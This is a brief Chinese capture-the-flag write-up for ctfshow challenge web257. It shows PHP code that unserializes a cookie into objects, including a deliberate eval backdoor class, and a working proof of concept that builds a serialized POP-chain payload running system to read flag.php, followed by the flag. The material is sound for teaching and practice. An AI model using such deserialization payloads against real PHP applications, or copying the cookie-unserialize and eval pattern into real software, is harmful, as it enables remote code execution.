web257 简单POP链

nginx/1.16.1PHP/7.3.11

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

分析：
触发 backDoor 即可

poc

<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code = 'system("cat ./flag.php");';
}
$user = new ctfShowUser();
echo(urlencode(serialize($user)));
?>

flag
ctfshow{72d54ea0-eb49-41bc-a7e0-6f8c880f7d0d}